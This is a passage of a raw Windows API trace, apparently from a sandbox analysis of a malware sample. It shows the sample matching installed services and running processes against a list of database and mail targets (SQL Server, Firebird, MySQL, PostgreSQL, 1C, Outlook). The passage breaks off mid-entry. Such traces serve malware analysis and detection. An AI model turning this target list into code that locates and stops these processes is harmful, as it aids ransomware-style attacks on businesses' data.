lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0166.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0166.647] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0166.647] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0166.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0166.647] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0166.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0166.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0166.647] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0166.648] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0166.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0166.648] lstrlenW (lpString="AudioSrv") returned 8 [0166.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0166.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0166.648] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0166.648] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0166.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0166.648] lstrlenW (lpString="BFE") returned 3 [0166.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0166.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0166.648] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0166.648] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0166.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0166.648] lstrlenW (lpString="CryptSvc") returned 8 [0166.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0166.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0166.648] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0166.648] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0166.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0166.648] lstrlenW (lpString="CscService") returned 10 [0166.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0166.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0166.648] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0166.648] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0166.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0166.648] lstrlenW (lpString="DcomLaunch") returned 10 [0166.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0166.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0166.648] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0166.648] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0166.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0166.648] lstrlenW (lpString="Dhcp") returned 4 [0166.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0166.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0166.649] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0166.649] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0166.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0166.649] lstrlenW (lpString="Dnscache") returned 8 [0166.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0166.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0166.649] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0166.649] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0166.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0166.649] lstrlenW (lpString="DPS") returned 3 [0166.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0166.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0166.649] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0166.649] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0166.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0166.649] lstrlenW (lpString="eventlog") returned 8 [0166.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0166.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0166.649] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0166.649] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0166.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0166.649] lstrlenW (lpString="EventSystem") returned 11 [0166.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0166.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0166.649] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0166.649] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0166.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0166.649] lstrlenW (lpString="gpsvc") returned 5 [0166.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0166.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0166.649] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0166.649] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0166.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0166.649] lstrlenW (lpString="iphlpsvc") returned 8 [0166.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0166.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0166.650] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0166.650] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0166.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0166.650] lstrlenW (lpString="LanmanServer") returned 12 [0166.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0166.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0166.650] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0166.650] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0166.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0166.650] lstrlenW (lpString="LanmanWorkstation") returned 17 [0166.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0166.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0166.650] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0166.650] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0166.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0166.650] lstrlenW (lpString="lmhosts") returned 7 [0166.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0166.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0166.650] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0166.650] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0166.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0166.650] lstrlenW (lpString="MMCSS") returned 5 [0166.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0166.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0166.650] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0166.650] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0166.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0166.650] lstrlenW (lpString="MpsSvc") returned 6 [0166.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0166.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0166.650] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0166.650] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0166.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0166.650] lstrlenW (lpString="Netman") returned 6 [0166.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0166.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0166.651] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0166.651] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0166.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0166.651] lstrlenW (lpString="netprofm") returned 8 [0166.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0166.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0166.651] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0166.651] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0166.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0166.651] lstrlenW (lpString="NlaSvc") returned 6 [0166.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0166.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0166.651] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0166.651] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0166.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0166.651] lstrlenW (lpString="nsi") returned 3 [0166.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0166.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0166.651] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0166.651] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0166.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0166.651] lstrlenW (lpString="PcaSvc") returned 6 [0166.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0166.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0166.651] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0166.651] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0166.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0166.651] lstrlenW (lpString="PlugPlay") returned 8 [0166.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0166.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0166.651] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0166.651] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0166.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0166.652] lstrlenW (lpString="Power") returned 5 [0166.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0166.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0166.652] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0166.652] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0166.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0166.652] lstrlenW (lpString="ProfSvc") returned 7 [0166.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0166.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0166.652] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0166.652] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0166.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0166.652] lstrlenW (lpString="RpcEptMapper") returned 12 [0166.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0166.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0166.652] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0166.652] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0166.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0166.652] lstrlenW (lpString="RpcSs") returned 5 [0166.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0166.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0166.652] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0166.652] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0166.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0166.652] lstrlenW (lpString="SamSs") returned 5 [0166.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0166.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0166.652] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0166.652] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0166.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0166.652] lstrlenW (lpString="Schedule") returned 8 [0166.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0166.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0166.652] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0166.652] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0166.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0166.653] lstrlenW (lpString="SENS") returned 4 [0166.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0166.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0166.653] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0166.653] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0166.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0166.653] lstrlenW (lpString="ShellHWDetection") returned 16 [0166.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0166.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0166.653] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0166.653] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0166.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0166.653] lstrlenW (lpString="Spooler") returned 7 [0166.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0166.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0166.653] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0166.653] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0166.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0166.653] lstrlenW (lpString="SysMain") returned 7 [0166.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0166.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0166.653] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0166.653] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0166.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0166.653] lstrlenW (lpString="Themes") returned 6 [0166.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0166.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0166.653] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0166.653] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0166.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0166.653] lstrlenW (lpString="TrkWks") returned 6 [0166.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0166.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0166.653] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0166.654] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0166.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0166.654] lstrlenW (lpString="UxSms") returned 5 [0166.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0166.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0166.654] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0166.654] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0166.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0166.654] lstrlenW (lpString="WdiServiceHost") returned 14 [0166.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0166.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0166.654] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0166.654] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0166.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0166.654] lstrlenW (lpString="WdiSystemHost") returned 13 [0166.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0166.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0166.654] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0166.654] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0166.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0166.654] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0166.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0166.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0166.654] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0166.654] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0166.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0166.654] lstrlenW (lpString="Winmgmt") returned 7 [0166.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0166.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0166.654] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0166.654] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0166.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0166.654] lstrlenW (lpString="WPDBusEnum") returned 10 [0166.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0166.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0166.655] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0166.655] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0166.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0166.655] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4285088 | out: hHeap=0x880000) returned 1 [0166.655] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3d0 [0166.657] Process32FirstW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.657] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0166.658] lstrlenW (lpString="System") returned 6 [0166.658] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0166.658] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0166.658] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0166.658] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0166.658] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0166.658] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0166.658] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0166.658] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0166.658] lstrlenW (lpString="smss.exe") returned 8 [0166.658] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0166.658] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0166.658] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0166.658] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0166.658] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0166.658] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0166.658] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0166.658] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0166.659] lstrlenW (lpString="csrss.exe") returned 9 [0166.659] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0166.659] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0166.659] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0166.659] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0166.659] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0166.659] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0166.659] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0166.659] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0166.659] lstrlenW (lpString="wininit.exe") returned 11 [0166.659] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0166.659] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0166.659] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0166.659] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0166.659] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0166.659] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0166.659] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0166.659] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0166.660] lstrlenW (lpString="csrss.exe") returned 9 [0166.660] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0166.660] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0166.660] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0166.660] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0166.660] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0166.660] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0166.660] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0166.660] lstrlenW (lpString="winlogon.exe") returned 12 [0166.660] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0166.661] lstrlenW (lpString="services.exe") returned 12 [0166.661] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0166.661] lstrlenW (lpString="lsass.exe") returned 9 [0166.661] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, 